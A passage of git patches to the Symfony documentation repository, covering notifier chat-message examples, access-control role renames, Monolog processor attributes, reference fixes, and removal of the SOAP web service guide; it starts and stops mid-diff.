-    use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-
-    $chatMessage = new ChatMessage('Contribute To Symfony');
-
-    // Create Slack Actions Block and add some buttons
-    $contributeToSymfonyBlocks = (new SlackActionsBlock())
-        ->button(
-            'Improve Documentation',
-            'https://symfony.com/doc/current/contributing/documentation/standards.html',
-            'primary'
-        )
-        ->button(
-            'Report bugs',
-            'https://symfony.com/doc/current/contributing/code/bugs.html',
-            'danger'
-        );
-
-    $slackOptions = (new SlackOptions())
-        ->block((new SlackSectionBlock())
-            ->text('The Symfony Community')
-            ->accessory(
-                new SlackImageBlockElement(
-                    'https://symfony.com/favicons/apple-touch-icon.png',
-                    'Symfony'
-                )
-            )
-        )
-        ->block(new SlackDividerBlock())
-        ->block($contributeToSymfonyBlocks);
-
-    // Add the custom options to the chat message and send the message
-    $chatMessage->options($slackOptions);
-
-    $chatter->send($chatMessage);
-
-Adding Fields and Values to a Slack Message
--------------------------------------------
-
-To add fields and values to your message you can use the
-:method:`SlackSectionBlock::field() <Symfony\\Component\\Notifier\\Bridge\\Slack\\Block\\SlackSectionBlock::field>` method::
-
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackDividerBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-
-    $chatMessage = new ChatMessage('Symfony Feature');
-
-    $options = (new SlackOptions())
-        ->block((new SlackSectionBlock())->text('My message'))
-        ->block(new SlackDividerBlock())
-        ->block(
-            (new SlackSectionBlock())
-                ->field('*Max Rating*')
-                ->field('5.0')
-                ->field('*Min Rating*')
-                ->field('1.0')
-        );
-
-    // Add the custom options to the chat message and send the message
-    $chatMessage->options($options);
-
-    $chatter->send($chatMessage);
-
-The result will be something like:
-
-.. image:: /_images/notifier/slack/field-method.png
-   :align: center
-
-Adding a Header to a Slack Message
-----------------------------------
-
-To add a header to your message use the
-:class:`Symfony\\Component\\Notifier\\Bridge\\Slack\\Block\\SlackHeaderBlock` class::
-
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackDividerBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackHeaderBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-
-    $chatMessage = new ChatMessage('Symfony Feature');
-
-    $options = (new SlackOptions())
-        ->block((new SlackHeaderBlock('My Header')))
-        ->block((new SlackSectionBlock())->text('My message'))
-        ->block(new SlackDividerBlock())
-        ->block(
-            (new SlackSectionBlock())
-                ->field('*Max Rating*')
-                ->field('5.0')
-                ->field('*Min Rating*')
-                ->field('1.0')
-        );
-
-    // Add the custom options to the chat message and send the message
-    $chatMessage->options($options);
-
-    $chatter->send($chatMessage);
-
-The result will be something like:
-
-.. image:: /_images/notifier/slack/slack-header.png
-   :align: center
-
-Adding a Footer to a Slack Message
-----------------------------------
-
-To add a footer to your message use the
-:class:`Symfony\\Component\\Notifier\\Bridge\\Slack\\Block\\SlackContextBlock` class::
-
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackContextBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackDividerBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-
-    $chatMessage = new ChatMessage('Symfony Feature');
-
-    $contextBlock = (new SlackContextBlock())
-        ->text('My Context')
-        ->image('https://symfony.com/logos/symfony_white_03.png', 'Symfony Logo')
-    ;
-
-    $options = (new SlackOptions())
-        ->block((new SlackSectionBlock())->text('My message'))
-        ->block(new SlackDividerBlock())
-        ->block(
-            (new SlackSectionBlock())
-                ->field('*Max Rating*')
-                ->field('5.0')
-                ->field('*Min Rating*')
-                ->field('1.0')
-        )
-        ->block($contextBlock)
-    ;
-
-    $chatter->send($chatMessage);
-
-The result will be something like:
-
-.. image:: /_images/notifier/slack/slack-footer.png
-   :align: center
-
-Sending a Slack Message as a Reply
-----------------------------------
-
-To send your slack message as a reply in a thread use the
-:method:`SlackOptions::threadTs() <Symfony\\Component\\Notifier\\Bridge\\Slack\\SlackOptions::threadTs>` method::
-
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-
-    $chatMessage = new ChatMessage('Symfony Feature');
-
-    $options = (new SlackOptions())
-        ->block((new SlackSectionBlock())->text('My reply'))
-        ->threadTs('1621592155.003100')
-    ;
-
-    // Add the custom options to the chat message and send the message
-    $chatMessage->options($options);
-
-    $chatter->send($chatMessage);
-
-The result will be something like:
-
-.. image:: /_images/notifier/slack/message-reply.png
-   :align: center
-
-Adding Interactions to a Discord Message
-----------------------------------------
-
-With a Discord message, you can use the
-:class:`Symfony\\Component\\Notifier\\Bridge\\Discord\\DiscordOptions` class
-to add some interactive options called `Embed elements`_::
-
-    use Symfony\Component\Notifier\Bridge\Discord\DiscordOptions;
-    use Symfony\Component\Notifier\Bridge\Discord\Embeds\DiscordEmbed;
-    use Symfony\Component\Notifier\Bridge\Discord\Embeds\DiscordFieldEmbedObject;
-    use Symfony\Component\Notifier\Bridge\Discord\Embeds\DiscordFooterEmbedObject;
-    use Symfony\Component\Notifier\Bridge\Discord\Embeds\DiscordMediaEmbedObject;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-
-    $chatMessage = new ChatMessage('');
-
-    // Create Discord Embed
-    $discordOptions = (new DiscordOptions())
-        ->username('connor bot')
-        ->addEmbed((new DiscordEmbed())
-            ->color(2021216)
-            ->title('New song added!')
-            ->thumbnail((new DiscordMediaEmbedObject())
-            ->url('https://i.scdn.co/image/ab67616d0000b2735eb27502aa5cb1b4c9db426b'))
-            ->addField((new DiscordFieldEmbedObject())
-                ->name('Track')
-                ->value('[Common Ground](https://open.spotify.com/track/36TYfGWUhIRlVjM8TxGUK6)')
-                ->inline(true)
-            )
-            ->addField((new DiscordFieldEmbedObject())
-                ->name('Artist')
-                ->value('Alasdair Fraser')
-                ->inline(true)
-            )
-            ->addField((new DiscordFieldEmbedObject())
-                ->name('Album')
-                ->value('Dawn Dance')
-                ->inline(true)
-            )
-            ->footer((new DiscordFooterEmbedObject())
-                ->text('Added ...')
-                ->iconUrl('https://upload.wikimedia.org/wikipedia/commons/thumb/1/19/Spotify_logo_without_text.svg/200px-Spotify_logo_without_text.svg.png')
-            )
-        )
-    ;
-
-    // Add the custom options to the chat message and send the message
-    $chatMessage->options($discordOptions);
-
-    $chatter->send($chatMessage);
-
-Adding Interactions to a Telegram Message
------------------------------------------
-
-With a Telegram message, you can use the
-:class:`Symfony\\Component\\Notifier\\Bridge\\Telegram\\TelegramOptions` class
-to add `message options`_::
-
-    use Symfony\Component\Notifier\Bridge\Telegram\Reply\Markup\Button\InlineKeyboardButton;
-    use Symfony\Component\Notifier\Bridge\Telegram\Reply\Markup\InlineKeyboardMarkup;
-    use Symfony\Component\Notifier\Bridge\Telegram\TelegramOptions;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-
-    $chatMessage = new ChatMessage('');
-
-    // Create Telegram options
-    $telegramOptions = (new TelegramOptions())
-        ->chatId('@symfonynotifierdev')
-        ->parseMode('MarkdownV2')
-        ->disableWebPagePreview(true)
-        ->disableNotification(true)
-        ->replyMarkup((new InlineKeyboardMarkup())
-            ->inlineKeyboard([
-                (new InlineKeyboardButton('Visit symfony.com'))
-                    ->url('https://symfony.com/'),
-            ])
-        );
-
-    // Add the custom options to the chat message and send the message
-    $chatMessage->options($telegramOptions);
-
-    $chatter->send($chatMessage);
-
-Updating Telegram Messages
-~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-.. versionadded:: 6.2
-
-    The ``TelegramOptions::edit()`` method was introduced in Symfony 6.2.
-
-When working with interactive callback buttons, you can use the
-:class:`Symfony\\Component\\Notifier\\Bridge\\Telegram\\TelegramOptions` to reference
-a previous message to edit::
-
-    use Symfony\Component\Notifier\Bridge\Telegram\Reply\Markup\Button\InlineKeyboardButton;
-    use Symfony\Component\Notifier\Bridge\Telegram\Reply\Markup\InlineKeyboardMarkup;
-    use Symfony\Component\Notifier\Bridge\Telegram\TelegramOptions;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-
-    $chatMessage = new ChatMessage('Are you really sure?');
-    $telegramOptions = (new TelegramOptions())
-        ->chatId($chatId)
-        ->edit($messageId) // extracted from callback payload or SentMessage
-        ->replyMarkup((new InlineKeyboardMarkup())
-            ->inlineKeyboard([
-                (new InlineKeyboardButton('Absolutely'))->callbackData('yes'),
-            ])
-        );
-
-Answering Callback Queries in Telegram
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-.. versionadded:: 6.3
-
-    The ``TelegramOptions::answerCallbackQuery()`` method was introduced in Symfony 6.3.
-
-When sending message with inline keyboard buttons with callback data, you can use
-:class:`Symfony\\Component\\Notifier\\Bridge\\Telegram\\TelegramOptions` to `answer callback queries`_::
-
-    use Symfony\Component\Notifier\Bridge\Telegram\TelegramOptions;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-
-    $chatMessage = new ChatMessage('Thank you!');
-    $telegramOptions = (new TelegramOptions())
-        ->chatId($chatId)
-        ->answerCallbackQuery(
-            callbackQueryId: '12345', // extracted from callback
-            showAlert: true,
-            cacheTime: 1,
-        );
-
-Adding text to a Microsoft Teams Message
-----------------------------------------
-
-With a Microsoft Teams, you can use the ChatMessage class::
-
-    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\MicrosoftTeamsTransport;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-
-    $chatMessage = (new ChatMessage('Contribute To Symfony'))->transport('microsoftteams');
-    $chatter->send($chatMessage);
-
-The result will be something like:
-
-.. image:: /_images/notifier/microsoft_teams/message.png
-   :align: center
-
-Adding Interactions to a Microsoft Teams Message
-------------------------------------------------
-
-With a Microsoft Teams Message, you can use the
-:class:`Symfony\\Component\\Notifier\\Bridge\\MicrosoftTeams\\MicrosoftTeamsOptions` class
-to add `MessageCard options`_::
-
-    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Action\ActionCard;
-    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Action\HttpPostAction;
-    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Action\Input\DateInput;
-    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Action\Input\TextInput;
-    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\MicrosoftTeamsOptions;
-    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\MicrosoftTeamsTransport;
-    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Section\Field\Fact;
-    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Section\Section;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-
-    $chatMessage = new ChatMessage('');
-
-    // Action elements
-    $input = new TextInput();
-    $input->id('input_title');
-    $input->isMultiline(true)->maxLength(5)->title('In a few words, why would you like to participate?');
-
-    $inputDate = new DateInput();
-    $inputDate->title('Proposed date')->id('input_date');
-
-    // Create Microsoft Teams MessageCard
-    $microsoftTeamsOptions = (new MicrosoftTeamsOptions())
-        ->title('Symfony Online Meeting')
-        ->text('Symfony Online Meeting are the events where the best developers meet to share experiences...')
-        ->summary('Summary')
-        ->themeColor('#F4D35E')
-        ->section((new Section())
-            ->title('Talk about Symfony 5.3 - would you like to join? Please give a shout!')
-            ->fact((new Fact())
-                ->name('Presenter')
-                ->value('Fabien Potencier')
-            )
-            ->fact((new Fact())
-                ->name('Speaker')
-                ->value('Patricia Smith')
-            )
-            ->fact((new Fact())
-                ->name('Duration')
-                ->value('90 min')
-            )
-            ->fact((new Fact())
-                ->name('Date')
-                ->value('TBA')
-            )
-        )
-        ->action((new ActionCard())
-            ->name('ActionCard')
-            ->input($input)
-            ->input($inputDate)
-            ->action((new HttpPostAction())
-                ->name('Add comment')
-                ->target('http://target')
-            )
-        )
-    ;
-
-    // Add the custom options to the chat message and send the message
-    $chatMessage->options($microsoftTeamsOptions);
-    $chatter->send($chatMessage);
-
-The result will be something like:
-
-.. image:: /_images/notifier/microsoft_teams/message-card.png
-   :align: center
-
-.. _`Block elements`: https://api.slack.com/reference/block-kit/block-elements
-.. _`Embed elements`: https://discord.com/developers/docs/resources/webhook
-.. _`message options`: https://core.telegram.org/bots/api
-.. _`MessageCard options`: https://docs.microsoft.com/en-us/outlook/actionable-messages/message-card-reference
-.. _`answer callback queries`: https://core.telegram.org/bots/api#answercallbackquery

From 296a5be6a96707a8527a348da3583126ba393732 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 23 Jan 2023 18:21:32 +0100
Subject: [PATCH 4168/7107] [ExpressionLanguage] Deprecate loose comparisons
 when using the "in" operator

---
 components/expression_language.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/components/expression_language.rst b/components/expression_language.rst
index bce07e25070..9f682cbe5ff 100644
--- a/components/expression_language.rst
+++ b/components/expression_language.rst
@@ -432,6 +432,13 @@ For example::
 
 The ``$inGroup`` would evaluate to ``true``.
 
+.. deprecated:: 6.3
+
+    In Symfony versions previous to 6.3, ``in`` and ``not in`` operators
+    were using loose comparison. Using these operators with variables of
+    different types is now deprecated, and these operators will be using
+    strict comparison from Symfony 7.0.
+
 Numeric Operators
 .................
 

From 03995aa369076df8794d60cb66f6d172ba4f6ab1 Mon Sep 17 00:00:00 2001
From: Alexis Lefebvre <alexislefebvre+github@gmail.com>
Date: Mon, 23 Jan 2023 19:54:11 +0100
Subject: [PATCH 4169/7107] update CI intro

---
 contributing/code/tests.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/code/tests.rst b/contributing/code/tests.rst
index 4c0c65ae09c..15487740301 100644
--- a/contributing/code/tests.rst
+++ b/contributing/code/tests.rst
@@ -3,7 +3,7 @@
 Running Symfony Tests
 =====================
 
-The Symfony project uses a third-party service which automatically runs tests
+The Symfony project uses a CI (Continuous Integration) service which automatically runs tests
 for any submitted :doc:`patch <pull_requests>`. If the new code breaks any test,
 the pull request will show an error message with a link to the full error details.
 

From b0c1ea267c3a7d04ec540258b18896e21cc95b08 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 24 Jan 2023 10:05:23 +0100
Subject: [PATCH 4170/7107] Tweaks

---
 logging/processors.rst | 20 +++++++++++---------
 1 file changed, 11 insertions(+), 9 deletions(-)

diff --git a/logging/processors.rst b/logging/processors.rst
index 8e67634ccd0..cbc039d992f 100644
--- a/logging/processors.rst
+++ b/logging/processors.rst
@@ -165,14 +165,13 @@ handler level or at the channel level instead of registering it globally
 (see the following sections).
 
 When registering a new processor, instead of adding the tag manually in your
-configuration files, you can take full advantage of the ``#[AsMonologProcessor]``
-attribute by using it one the processor class::
+configuration files, you can use the ``#[AsMonologProcessor]`` attribute to
+apply it on the processor class::
 
     // src/Logger/SessionRequestProcessor.php
     namespace App\Logger;
 
     use Monolog\Attribute\AsMonologProcessor;
-    // ...
 
     #[AsMonologProcessor]
     class SessionRequestProcessor
@@ -180,13 +179,16 @@ attribute by using it one the processor class::
         // ...
     }
 
-The ``#[AsMonologProcessor]`` attribute takes 3 optional arguments:
+The ``#[AsMonologProcessor]`` attribute takes these optional arguments:
 
-* ``channel``: the logging channel the processor should be pushed to
-* ``handler``: the handler the processor should be pushed to
-* ``method``: the method that processes the records (if the attribute is used
-  at the class level). Indeed, the attribute can also be used directly
-  on a class method.
+* ``channel``: the logging channel the processor should be pushed to;
+* ``handler``: the handler the processor should be pushed to;
+* ``method``: the method that processes the records (useful when applying
+  the attribute to the entire class instead of a single method).
+
+.. versionadded:: 3.8
+
+    The ``#[AsMonologProcessor]`` attribute was introduced in MonologBundle 3.8.
 
 Symfony's MonologBridge provides processors that can be registered inside your application.
 

From bc121fb5507510e8afebac8e06aab895158e8542 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 24 Jan 2023 10:22:49 +0100
Subject: [PATCH 4171/7107] Fix more occurrences

---
 security/entry_point.rst |  2 +-
 security/expressions.rst |  2 +-
 security/force_https.rst | 22 +++++++---------------
 3 files changed, 9 insertions(+), 17 deletions(-)

diff --git a/security/entry_point.rst b/security/entry_point.rst
index 42fb6452b71..fb1fbe4ea41 100644
--- a/security/entry_point.rst
+++ b/security/entry_point.rst
@@ -168,7 +168,7 @@ split the configuration into two separate firewalls:
                 ->formLogin();
 
             $accessControl = $security->accessControl();
-            $accessControl->path('^/login')->roles(['IS_AUTHENTICATED_ANONYMOUSLY']);
+            $accessControl->path('^/login')->roles(['PUBLIC_ACCESS']);
             $accessControl->path('^/api')->roles(['ROLE_API_USER']);
             $accessControl->path('^/')->roles(['ROLE_USER']);
         };
diff --git a/security/expressions.rst b/security/expressions.rst
index afec9ac30b1..93827fc756b 100644
--- a/security/expressions.rst
+++ b/security/expressions.rst
@@ -64,7 +64,7 @@ Additionally, you have access to a number of functions inside the expression:
     "fully" - i.e. returns true if the user is "logged in".
 ``is_anonymous()``
     Returns ``true`` if the user is anonymous. That is, the firewall confirms that it
-    does not know this user's identity. This is different from ``IS_AUTHENTICATED_ANONYMOUSLY``,
+    does not know this user's identity. This is different from ``PUBLIC_ACCESS``,
     which is granted to *all* users, including authenticated ones.
 ``is_remember_me()``
     Similar, but not equal to ``IS_AUTHENTICATED_REMEMBERED``, see below.
diff --git a/security/force_https.rst b/security/force_https.rst
index 2c2a8fe42c2..ac59f245a94 100644
--- a/security/force_https.rst
+++ b/security/force_https.rst
@@ -24,9 +24,9 @@ access control:
 
                 access_control:
                     - { path: '^/secure', roles: ROLE_ADMIN, requires_channel: https }
-                    - { path: '^/login', roles: IS_AUTHENTICATED_ANONYMOUSLY, requires_channel: https }
+                    - { path: '^/login', roles: PUBLIC_ACCESS, requires_channel: https }
                     # catch all other URLs
-                    - { path: '^/', roles: IS_AUTHENTICATED_ANONYMOUSLY, requires_channel: https }
+                    - { path: '^/', roles: PUBLIC_ACCESS, requires_channel: https }
 
         .. code-block:: xml
 
@@ -43,17 +43,9 @@ access control:
                 <config>
                     <!-- ... -->
 
-                    <rule path="^/secure"
-                        role="ROLE_ADMIN"
-                        requires-channel="https"/>
-                    <rule path="^/login"
-                        role="IS_AUTHENTICATED_ANONYMOUSLY"
-                        requires-channel="https"
-                    />
-                    <rule path="^/"
-                        role="IS_AUTHENTICATED_ANONYMOUSLY"
-                        requires-channel="https"
-                    />
+                    <rule path="^/secure" role="ROLE_ADMIN" requires-channel="https"/>
+                    <rule path="^/login" role="PUBLIC_ACCESS" requires-channel="https"/>
+                    <rule path="^/" role="PUBLIC_ACCESS" requires-channel="https"/>
                 </config>
             </srv:container>
 
@@ -73,13 +65,13 @@ access control:
 
                 $security->accessControl()
                     ->path('^/login')
-                    ->roles(['IS_AUTHENTICATED_ANONYMOUSLY'])
+                    ->roles(['PUBLIC_ACCESS'])
                     ->requiresChannel('https')
                 ;
 
                 $security->accessControl()
                     ->path('^/')
-                    ->roles(['IS_AUTHENTICATED_ANONYMOUSLY'])
+                    ->roles(['PUBLIC_ACCESS'])
                     ->requiresChannel('https')
                 ;
             };

From 175908efffbebba8f26e6c5cb6e508ef66542da6 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 24 Jan 2023 10:50:16 +0100
Subject: [PATCH 4172/7107] [Refs] Fixed refs displaying incorrectly

---
 components/lock.rst             |  8 ++++++--
 contributing/code/core_team.rst | 13 +++++++++----
 2 files changed, 15 insertions(+), 6 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index c1ceabd4438..bce846ef0b7 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -310,7 +310,7 @@ will fallback to a write lock by calling the ``acquire()`` method.
 The Owner of The Lock
 ---------------------
 
-Locks that are acquired for the first time are owned [1]_ by the ``Lock`` instance that acquired
+Locks that are acquired for the first time are :ref:`owned <lock-owner-technical-details>` by the ``Lock`` instance that acquired
 it. If you need to check whether the current ``Lock`` instance is (still) the owner of
 a lock, you can use the ``isAcquired()`` method::
 
@@ -347,7 +347,11 @@ lose the lock it acquired automatically::
     you have to use ``acquire()`` for this. The ``isAcquired()`` method is used to check
     if the lock has been acquired by the **current process** only.
 
-.. [1] Technically, the true owners of the lock are the ones that share the same instance of ``Key``,
+.. _lock-owner-technical-details:
+
+.. note::
+
+    Technically, the true owners of the lock are the ones that share the same instance of ``Key``,
     not ``Lock``. But from a user perspective, ``Key`` is internal and you will likely only be working
     with the ``Lock`` instance so it's easier to think of the ``Lock`` instance as being the one that
     is the owner of the lock.
diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index a659666c2ec..6cef3400384 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -146,7 +146,7 @@ Pull Request Merging Policy
 
 A pull request **can be merged** if:
 
-* It is a minor change [1]_;
+* It is a :ref:`minor change <core-team_minor-changes>`;
 
 * Enough time was given for peer reviews;
 
@@ -162,7 +162,8 @@ Pull Request Merging Process
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 All code must be committed to the repository through pull requests, except for
-minor changes [1]_ which can be committed directly to the repository.
+:ref:`minor change <core-team_minor-changes>` which can be committed directly
+to the repository.
 
 **Mergers** must always use the command-line ``gh`` tool provided by the
 **Project Leader** to merge the pull requests.
@@ -178,8 +179,12 @@ Symfony Core Rules and Protocol Amendments
 The rules described in this document may be amended at any time at the
 discretion of the **Project Leader**.
 
-.. [1] Minor changes comprise typos, DocBlock fixes, code standards
-       violations, and minor CSS, JavaScript and HTML modifications.
+.. _core-team_minor-changes:
+
+.. note::
+
+    Minor changes comprise typos, DocBlock fixes, code standards
+    violations, and minor CSS, JavaScript and HTML modifications.
 
 .. _`symfony-docs repository`: https://github.com/symfony/symfony-docs
 .. _`fabpot`: https://github.com/fabpot/

From 29c51d4064890fe1459686b6da31b5175f703350 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 24 Jan 2023 12:29:16 +0100
Subject: [PATCH 4173/7107] Fix some code issue

---
 .doctor-rst.yaml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index dd62b8b93b3..16703c616b1 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -94,6 +94,7 @@ whitelist:
         - 'provides a ``loginUser()`` method to simulate logging in in your functional'
         - '.. code-block:: twig'
         - '.. versionadded:: 3.6' # MonologBundle
+        - '.. versionadded:: 3.8' # MonologBundle
         - '// bin/console'
         - '.. _`a feature to test applications using Mercure`: https://github.com/symfony/panther#creating-isolated-browsers-to-test-apps-using-mercure-or-websocket'
         - '..  End to End Tests (E2E)'

From 285101d55d3b007fb00c939ac178c54562f7b8c2 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Tue, 24 Jan 2023 13:47:34 +0100
Subject: [PATCH 4174/7107] Remove SOAP docs

---
 controller/soap_web_service.rst | 172 --------------------------------
 1 file changed, 172 deletions(-)
 delete mode 100644 controller/soap_web_service.rst

diff --git a/controller/soap_web_service.rst b/controller/soap_web_service.rst
deleted file mode 100644
index effa613c1c5..00000000000
--- a/controller/soap_web_service.rst
+++ /dev/null
@@ -1,172 +0,0 @@
-.. index::
-    single: Web Services; SOAP
-
-.. _how-to-create-a-soap-web-service-in-a-symfony2-controller:
-
-How to Create a SOAP Web Service in a Symfony Controller
-========================================================
-
-Setting up a controller to act as a SOAP server is aided by a couple
-tools. Those tools expect you to have the `PHP SOAP`_ extension installed.
-As the PHP SOAP extension cannot currently generate a WSDL, you must either
-create one from scratch or use a 3rd party generator.
-
-.. note::
-
-    There are several SOAP server implementations available for use with
-    PHP. `Laminas SOAP`_ and `NuSOAP`_ are two examples. Although the PHP SOAP
-    extension is used in these examples, the general idea should still
-    be applicable to other implementations.
-
-SOAP works by exposing the methods of a PHP object to an external entity
-(i.e. the person using the SOAP service). To start, create a class - ``HelloService`` -
-which represents the functionality that you'll expose in your SOAP service.
-In this case, the SOAP service will allow the client to call a method called
-``hello``, which happens to send an email::
-
-    // src/Service/HelloService.php
-    namespace App\Service;
-
-    class HelloService
-    {
-        private $mailer;
-
-        public function __construct(\Swift_Mailer $mailer)
-        {
-            $this->mailer = $mailer;
-        }
-
-        public function hello($name)
-        {
-            $message = (new \Swift_Message('Hello Service'))
-                ->setTo('me@example.com')
-                ->setBody($name.' says hi!');
-
-            $this->mailer->send($message);
-
-            return 'Hello, '.$name;
-        }
-    }
-
-Next, make sure that your new class is registered as a service. If you're using
-the :ref:`default services configuration <service-container-services-load-example>`,
-you don't need to do anything!
-
-Finally, below is an example of a controller that is capable of handling a SOAP
-request. Because ``index()`` is accessible via ``/soap``, the WSDL document
-can be retrieved via ``/soap?wsdl``::
-
-    // src/Controller/HelloServiceController.php
-    namespace App\Controller;
-
-    use App\Service\HelloService;
-    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-    use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
-
-    class HelloServiceController extends AbstractController
-    {
-        /**
-         * @Route("/soap")
-         */
-        public function index(HelloService $helloService)
-        {
-            $soapServer = new \SoapServer('/path/to/hello.wsdl');
-            $soapServer->setObject($helloService);
-
-            $response = new Response();
-            $response->headers->set('Content-Type', 'text/xml; charset=ISO-8859-1');
-
-            ob_start();
-            $soapServer->handle();
-            $response->setContent(ob_get_clean());
-
-            return $response;
-        }
-    }
-
-Take note of the calls to ``ob_start()`` and ``ob_get_clean()``. These
-methods control `output buffering`_ which allows you to "trap" the echoed
-output of ``$server->handle()``. This is necessary because Symfony expects
-your controller to return a ``Response`` object with the output as its "content".
-You must also remember to set the ``"Content-Type"`` header to ``"text/xml"``, as
-this is what the client will expect. So, you use ``ob_start()`` to start
-buffering the STDOUT and use ``ob_get_clean()`` to dump the echoed output
-into the content of the Response and clear the output buffer. Finally, you're
-ready to return the ``Response``.
-
-Below is an example of calling the service using a native `SoapClient`_ client. This example
-assumes that the ``index()`` method in the controller above is accessible via
-the route ``/soap``::
-
-    $soapClient = new \SoapClient('http://example.com/index.php/soap?wsdl');
-
-    $result = $soapClient->__soapCall('hello', ['name' => 'Scott']);
-
-An example WSDL is below.
-
-.. code-block:: xml
-
-    <?xml version="1.0" encoding="ISO-8859-1"?>
-    <definitions xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
-        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
-        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-        xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
-        xmlns:tns="urn:helloservicewsdl"
-        xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
-        xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/"
-        xmlns="http://schemas.xmlsoap.org/wsdl/"
-        targetNamespace="urn:helloservicewsdl">
-
-        <types>
-            <xsd:schema targetNamespace="urn:hellowsdl">
-                <xsd:import namespace="http://schemas.xmlsoap.org/soap/encoding/"/>
-                <xsd:import namespace="http://schemas.xmlsoap.org/wsdl/"/>
-            </xsd:schema>
-        </types>
-
-        <message name="helloRequest">
-            <part name="name" type="xsd:string"/>
-        </message>
-
-        <message name="helloResponse">
-            <part name="return" type="xsd:string"/>
-        </message>
-
-        <portType name="hellowsdlPortType">
-            <operation name="hello">
-                <documentation>Hello World</documentation>
-                <input message="tns:helloRequest"/>
-                <output message="tns:helloResponse"/>
-            </operation>
-        </portType>
-
-        <binding name="hellowsdlBinding" type="tns:hellowsdlPortType">
-            <soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http"/>
-            <operation name="hello">
-                <soap:operation soapAction="urn:arnleadservicewsdl#hello" style="rpc"/>
-
-                <input>
-                    <soap:body use="encoded" namespace="urn:hellowsdl"
-                        encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/>
-                </input>
-
-                <output>
-                    <soap:body use="encoded" namespace="urn:hellowsdl"
-                        encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/>
-                </output>
-            </operation>
-        </binding>
-
-        <service name="hellowsdl">
-            <port name="hellowsdlPort" binding="tns:hellowsdlBinding">
-                <soap:address location="http://example.com/index.php/soap"/>
-            </port>
-        </service>
-    </definitions>
-
-.. _`PHP SOAP`: https://www.php.net/manual/en/book.soap.php
-.. _`NuSOAP`: https://sourceforge.net/projects/nusoap
-.. _`output buffering`: https://www.php.net/manual/en/book.outcontrol.php
-.. _`Laminas SOAP`: https://docs.laminas.dev/laminas-soap/server/
-.. _`SoapClient`: https://www.php.net/manual/en/class.soapclient.php

From 85ed54be80eafff80156154e9ecf4e8990d3497c Mon Sep 17 00:00:00 2001
From: Giacomo Moscardini <lamasfoker@users.noreply.github.com>
Date: Tue, 24 Jan 2023 12:23:50 +0100
Subject: [PATCH 4175/7107] [Workflow] Improve Workflow Documentation

---
 workflow.rst | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/workflow.rst b/workflow.rst
index 389231ba91a..05c4a7dd385 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -194,7 +194,10 @@ The configured property will be used via its implemented getter/setter methods b
     preferable to not configure it.
 
